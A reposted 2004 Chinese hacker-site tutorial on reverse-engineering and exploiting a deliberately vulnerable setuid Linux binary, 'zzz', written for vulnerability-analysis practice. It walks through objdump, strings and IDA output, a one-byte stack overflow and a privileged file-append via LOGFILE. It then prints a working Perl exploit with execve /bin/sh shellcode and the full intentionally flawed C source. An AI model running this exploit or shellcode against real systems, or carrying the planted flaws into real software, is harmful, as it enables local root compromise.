| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> 漏洞 >> 最新漏洞 >> *INX 漏洞 >> 正文 用户登录 新用户注册
[推荐]UNIX类文件的溢出测试分析报告          【字体:
UNIX类文件的溢出测试分析报告
作者:waterclo… 文章来源:https://www.xfocus.net/bbs 点击数: 更新时间:2004-7-1

<一> 对未明2进制文件分析工具简单总结:

静态考查:file、nm、strings、objdump
动态跟踪:strace、lstrace
动态调试: gdb、insight
反汇编  :ida


<二> 对未明2进制文件分析方法简单总结:

1. 外部观察,了解文件类型、行为和外部接口。
[cloud@rsas zzz]$ file zzz
zzz: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped

cloud@rsas zzz]$ ./zzz
usage : ./zzz string
[cloud@rsas zzz]$ ./zzz aa
fzzz(aa) = 7d9dd0c79619cbcabb8f5095f61da05f



2. 静态分析,看看程序用了那些外部函数:

[cloud@rsas zzz]$ nm zzz
nm: zzz: no symbols

没有符号表?这也难不倒我们:

[cloud@rsas zzz]$ objdump -R zzz

zzz:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804aa68 R_386_GLOB_DAT    __gmon_start__
0804aa14 R_386_JUMP_SLOT   strncat
0804aa18 R_386_JUMP_SLOT   fileno
0804aa1c R_386_JUMP_SLOT   fprintf
0804aa20 R_386_JUMP_SLOT   getenv
0804aa24 R_386_JUMP_SLOT   system
0804aa28 R_386_JUMP_SLOT   setresuid
0804aa2c R_386_JUMP_SLOT   fchmod
0804aa30 R_386_JUMP_SLOT   strlen
0804aa34 R_386_JUMP_SLOT   __libc_start_main
0804aa38 R_386_JUMP_SLOT   strcat
0804aa3c R_386_JUMP_SLOT   printf
0804aa40 R_386_JUMP_SLOT   getuid
0804aa44 R_386_JUMP_SLOT   setreuid
0804aa48 R_386_JUMP_SLOT   getpwnam
0804aa4c R_386_JUMP_SLOT   exit
0804aa50 R_386_JUMP_SLOT   memset
0804aa54 R_386_JUMP_SLOT   strncpy
0804aa58 R_386_JUMP_SLOT   fopen
0804aa5c R_386_JUMP_SLOT   sprintf
0804aa60 R_386_JUMP_SLOT   geteuid
0804aa64 R_386_JUMP_SLOT   strcpy


可以看到有了我们感兴趣的:
溢出:   strcpy、sprintf、strcat、(strncpy、strncat也可能导致溢出)
格式串: printf、sprintf
执行外部命令: system + setreuid/setresuid 有可能高权限执行我们的命令。
外部接口: getenv、fopen、fprintf。
条件竞争: fchmod

疑虑问题setresuid/setreuid到底把权限去掉了还是设高了还是设低了?联系的是同时出现了getuid,geteuid。

这次我们就了解到了比上次更多的内容。


3. 静态考查更多的外部接口
有getenv,那么到底getenv了哪些内容,fopen又打开了哪个个文件?静态分析可以通过strings来简单了解。
[cloud@rsas zzz]$ strings zzz
/lib/ld-linux.so.2
libc.so.6
strcpy
geteuid
getenv
fchmod
getuid
system
fprintf
strcat
strncpy
strncat
setresuid
setreuid
memset
getpwnam
sprintf
exit
fopen
fileno
_IO_stdin_used
__libc_start_main
strlen
__gmon_start__
GLIBC_2.1
GLIBC_2.0
PTRh
QZ^&
-V8I
-o,y
t_hf
j h@
usage : ./zzz string
fzzz(
) =
%02x
fzzz=
ERR: string too long.
LOGNAME
LOGFILE
logfile = %s
LOGPATH
ok : root user!
ps -ef |sed 's/r.*t//g' |awk '{print $1}'

我们看到了感兴趣的:
LOGNAME
LOGFILE
LOGPATH
ok : root user!
ps -ef |sed 's/r.*t//g' |awk '{print $1}'


4. 用ida反汇编,静态考查我们以上发现的兴趣点:

部分内容如下:

.text:080486D3                 push    offset sub_80493D3    (根据对gcc的了解这个就是main函数啦~~)
.text:080486D8                 call    ___libc_start_main


.text:0804965A                 call    _getpwnam
.text:0804965F                 add     esp, 4
.text:08049662                 mov     dword_804A920, eax
.text:08049667                 cmp     dword_804A920, 0
.text:0804966E                 jz      short loc_804967D
.text:08049670                 mov     eax, dword_804A920
.text:08049675                 mov     eax, [eax+8]
.text:08049678                 mov     ds:dword_804AB8C, eax
.text:0804967D
.text:0804967D loc_804967D:                            ; CODE XREF: sub_80493D3+27Fj
.text:0804967D                                         ; sub_80493D3+29Bj
.text:0804967D                 push    ds:dword_804AB8C
.text:08049683                 push    ds:dword_804AB20
.text:08049689                 push    ds:dword_804AB20
.text:0804968F                 call    _setresuid


.text:0804940E                 push    offset aLogname ; "LOGNAME"
.text:08049413                 call    _getenv
.text:08049418                 add     esp, 4
.text:0804941B                 mov     dword_804A924, eax
.text:08049420                 push    offset aLogfile ; "LOGFILE"
.text:08049425                 call    _getenv
.text:0804942A                 add     esp, 4


.text:0804973E                 add     esp, 8
.text:08049741                 push    offset aLogname ; "LOGNAME"
.text:08049746                 call    _getenv
.text:0804974B                 add     esp, 4
.text:0804974E                 mov     [ebp-10h], eax
.text:08049751                 push    offset aPsEfSedSR_TGAw ; "ps -ef |sed 's/r.*t//g' |awk '{print $1"...
.text:08049756                 call    _system
.text:0804975B                 add     esp, 4


深入看看我们可以发现调用system的函数在整个程序中没有被调用过 :(

简单看了一下main函数开始部分没有见到取消程序特权的调用,增强了考查信心 :)


5. 在以上静态分析基础上动态考查我们发现的兴趣点:

(1). 是否有溢出、格式串等问题。
     考查依据是处理外部输入错误时将会"Segmentation fault"之类的信息。

终于在不辞劳苦对环境变量LOGFILE、LOGNAME . . . 命令行参数构造各种加长串后出现了这个信息:
[cloud@rsas zzz]$ ./zzz `perl -e 'print "A"x24'`
fzzz(AAAAAAAAAAAAAAAAAAAAAAAA) = ff605f02a57b3ae6f8c4cefded2c3c73?卡[?磕??
Segmentation fault

再用lstrace追踪一下可以很快明确这是单字节溢出



(2). 动态和静态结合分析文件操作
     功夫不负有心人,LOGFILE环境变量似乎可以用特权身份追加文件内容:
[cloud@rsas zzz]$ export LOGFILE=kk
[cloud@rsas zzz]$ ./zzz dd
fzzz(dd) = 5f3f6275e5a875a3de8cd6155fce81b7
[cloud@rsas zzz]$ ls -l kkcloud
-rwxr-xr-x    1 root     aurora         56 Nov 10 11:24 kkcloud
[cloud@rsas zzz]$ cat kkcloud
logfile = kkcloud
fzzz=5f3f6275e5a875a3de8cd6155fce81b7



(3). 比较难的部分是分析文件运行中权限是如何变化的
     通过仔细阅读ida反汇编结果,最后我们可以发现LOGNAME和setresuid有神奇的关系 :)

(4). 直觉告诉我们如果能了解程序hash值算法能更有效指导我们写利用程序。
     在ida中我们看到了这几个md5的标志值:
.text:08049615                 mov     [ebp+var_54], 67452301h
.text:0804961C                 mov     [ebp+var_50], 0EFCDAB89h
.text:08049623                 mov     [ebp+var_4C], 98BADCFEh
.text:0804962A                 mov     [ebp+var_48], 10325476h

     如果你对md5熟悉可以立即意识到程序最有可能用了md5算法。

6. 小结
   对一个未明2进制文件表面上看起来我们对他似乎只能进行黑盒测试,但通过我们对
文件从不同角度进行观察,找出可能点,然后再进行有针对的黑盒测试加阅读关键点的反
汇编代码(可以算半白盒测试了)我们就能完成对文件的比较全面考查。


<三>  利用方法探求

利用方法综合考察你对溢出、程序堆栈布局结构、shellcode等的熟悉度。
linux系统配置、系统各服务、及相关配置文件、符号链接等的使用、等等。
这部分,楼上很多兄弟们都有非常独到的见解了就不多说了。

下面是以前偶的针对单字节溢出的利用程序:

#!/usr/bin/perl -w
#use to exploit zzz demo program on linux.
#write by watercloud at xfocus.org 2003-8-4.
#usage ./ex.pl [off]
#      ./ex.pl -f
#         off : 0 - 256
#         -f  : force search the offset

$CMD="./zzz";
$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80";
$SHELL.="j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$OFF=50;

$OFF=$ARGV[0] if $ARGV[0] >0 ;
$f_force=1 if $ARGV[0] eq '-f' ;

%ENV={};$ENV{LOGNAME}="root";
$ARG="AA". "\xb0\xff\xff\xbf"x5 ."A";

for($off=0;$off<256;$off+=10){
  $off=$OFF if ! $f_force;
  $ENV{ABC}="\x90"x$off .$SHELL;
  foreach $a (0x61 .. 0x71) {
    printf "Offset=$off AligChar='%s'\n",chr($a);
    foreach (1 .. 3){
      exit 0 if ! system $CMD,$ARG.chr($a);
    }
  }
  last if ! $f_force;
}
#EOF
==================================付漏洞测试程序=============================

/*
* 文件名: zzz.c
* 用途  : 漏洞发掘和利用分析测试。
* 编写  : watercloud  
* 日期  : 2002-11-9
*/
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include<pwd.h>



FILE * fp =NULL;

#define S11 7
#define S12 12
#define S13 17
#define S14 22
#define S21 5
#define S22 9
#define S23 14
#define S24 20
#define S31 4
#define S32 11
#define S33 16
#define S34 23
#define S41 6
#define S42 10
#define S43 15
#define S44 21


#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
#define H(x, y, z) ((x) ^ (y) ^ (z))
#define I(x, y, z) ((y) ^ ((x) | (~z)))

/* ROTATE_LEFT rotates x left n bits.
*/
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))

/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
Rotation is separate from addition to prevent recomputation.
*/
#define FF(a, b, c, d, x, s, ac) { \
(a) += F ((b), (c), (d)) + (x) + (unsigned int)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
  }
#define GG(a, b, c, d, x, s, ac) { \
(a) += G ((b), (c), (d)) + (x) + (unsigned int)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
  }
#define HH(a, b, c, d, x, s, ac) { \
(a) += H ((b), (c), (d)) + (x) + (unsigned int)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
  }
#define II(a, b, c, d, x, s, ac) { \
(a) += I ((b), (c), (d)) + (x) + (unsigned int)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
  }


static void MD5Calc (char  buffer[64], unsigned int value[4])
{
  unsigned int a = value[0];
  unsigned int b = value[1];
  unsigned int c = value[2];
  unsigned int d = value[3];
  unsigned int x[16];
  
  unsigned int * p= (unsigned int *) buffer , i=0;
  for(; i<16 ; p++, i++)
      x[i]=*p;
  
  /* Round 1 */
  FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
  FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
  FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
  FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
  FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
  FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
  FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
  FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
  FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
  FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */
  FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
  FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
  FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
  FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
  FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
  FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */

/* Round 2 */
  GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
  GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
  GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
  GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
  GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */
  GG (d, a, b, c, x[10], S22,  0x2441453); /* 22 */
  GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
  GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */
  GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */
  GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
  GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */
  GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */
  GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
  GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */
  GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
  GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */

  /* Round 3 */
  HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */
  HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
  HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
  HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
  HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */
  HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */
  HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */
  HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
  HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
  HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */
  HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
  HH (b, c, d, a, x[ 6], S34,  0x4881d05); /* 44 */
  HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
  HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
  HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
  HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */

  /* Round 4 */
  II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */
  II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
  II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
  II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
  II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
  II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
  II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
  II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */
  II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */
  II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
  II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
  II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
  II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */
  II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
  II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
  II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */

  value[0] += a;
  value[1] += b;
  value[2] += c;
  value[3] += d;


}

void usage(void)
{
    printf("usage : ./zzz string\n");
    exit(-1);
}

#define BUF_LEN 64  //罪恶之源呀~~ 本来应该是65的。
void printResult(const char * string,char * buffer)
{
    char  ResBuff[BUF_LEN];  // MFSUM(string)=%02x . . .格式输出
    char *p = ResBuff;
    int   i=0;
    char  tmp[4];

//其中strlen(string)<=24 strlen("fzzz(")=5 +strlen(") = ")=4末尾长度为32故总长度<=65
        
    //准备格式化输出。
    memset(ResBuff,'\0',BUF_LEN);
    strcpy(ResBuff,"fzzz(");
    strcat(ResBuff,string);
    strcat(ResBuff,") = ");

    p += 5+strlen(string)+4;
    for (i = 0; i < 16; i++,p+=2)
    {
        sprintf(tmp,"%02x", (unsigned char)buffer[i]);
        strncpy(p,tmp,2);
    }


    if(fp!=NULL)
    {
        fprintf(fp,"fzzz=");
        for (i = 0; i < 16; i++,p+=2)
        {
            fprintf(fp,"%02x", (unsigned char)buffer[i]);
        }
        fprintf(fp,"\n");
    }

    printf("%s\n",ResBuff);

}

uid_t uid;
uid_t ruid,euid,suid,kuid;
struct passwd * ppasswd=NULL;
char * plogname = NULL;
char * pfile = NULL;
char  fname_buf[128];
char  logname_buf[64];

int main(int argc,char *argv[])
{
    
    char buffer[64];
    unsigned int value[4];

    if(argc == 2)
    {
        if(strlen(argv[1]) >24)
        {
            printf("ERR: string too long.\n");
            exit(1);
        }
    }
    else
    {
        usage();
    }

    plogname=getenv("LOGNAME");
    pfile=getenv("LOGFILE");
    uid=getuid();

    if(pfile != NULL)
    {
        char * p= logname_buf;

        memset(fname_buf,'\0',128);
        memset(logname_buf,'\0',64);

        strncpy(fname_buf,pfile,64);
        strncpy(logname_buf,plogname,32);

        while(*p!='\0')
        {
            if(*p=='\r'||*p=='\n')
                *p=' ';
            p++;
        }

        strncat(fname_buf,logname_buf,32);
        fp=fopen(fname_buf,"a");
    }

    if(fp != NULL)
    {
        fprintf(fp,"logfile = %s\n",fname_buf);
        fchmod(fileno(fp),0755);   //fopen后过一会儿才fchmod,存在一个竞争条件,虽用途不大但你意识到了吗?
    }


    /* 求MD5前的准备工作 */
    memset(buffer,0,64);
    
    strcpy(buffer,argv[1]);
    strcat(buffer,"\x80");


    buffer[uid%56]=uid%255;
    buffer[uid%48]=uid%127;
    buffer[uid%32]=uid%84;
    buffer[uid%16]=uid%64;
    //buffer[uid%8]=uid%32;


    *( (unsigned long *) &buffer[64-8] ) = (strlen(argv[1])) *8;

    value[0]=0x67452301;
    value[1]=0xefcdab89;
    value[2]=0x98badcfe;
    value[3]=0x10325476;

    MD5Calc(buffer,value); //求标准Md5值
    
    kuid=uid;
    if(plogname != NULL)
    {
        ppasswd=getpwnam(plogname);
        if(ppasswd!=NULL)
        {
            kuid=ppasswd->pw_uid;
        }
    }
    setresuid(uid,uid,kuid);  //一点小花样。

        
    /* 输出消息 */
    printResult(argv[1],(char *)value);

    return 0;
}

void prelog()  //干扰视线的 :)
{
    int x,y;
    x=100;
    y=1000;
    uid_t uid;
    char * p=getenv("LOGPATH");
    if(p==NULL)
    {
        x=200;
        x+=300;
        for(y=200;y+=20;y<300)
        {
            x+=y;
            y-=10;

        }
    }
    uid=getuid();
    if(uid==geteuid())
    {
        printf("ok : root user!\n");
    }
    setreuid(-1,uid);
    p=getenv("LOGNAME");
    system("ps -ef |sed 's/r.*t//g' |awk '{print $1}'");
}

//EOF




Makefile:
zzz : zzz.c
    gcc zzz.c -o zzz -mpreferred-stack-boundary=2
    strip zzz

责任编辑:cookie  联系方式  Email:cookie
电话:51228163
  • 上一篇漏洞:

  • 下一篇漏洞:
  • 最新hack更新
    最新推荐资讯
    相关漏洞
    ActiveX控制远程缓冲溢出
    MMS协议处理堆溢出
    rdesktop 服务溢出漏洞
    TFTP Server远程溢出
    HLDS远程堆溢出漏洞
    UPACK文件处理堆溢出
    远程CGI缓冲溢出漏洞
    Mozilla客户端堆溢出漏洞
    溢出利用程序和编程语言大杂烩
    联众ActiveX栈溢出漏洞
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号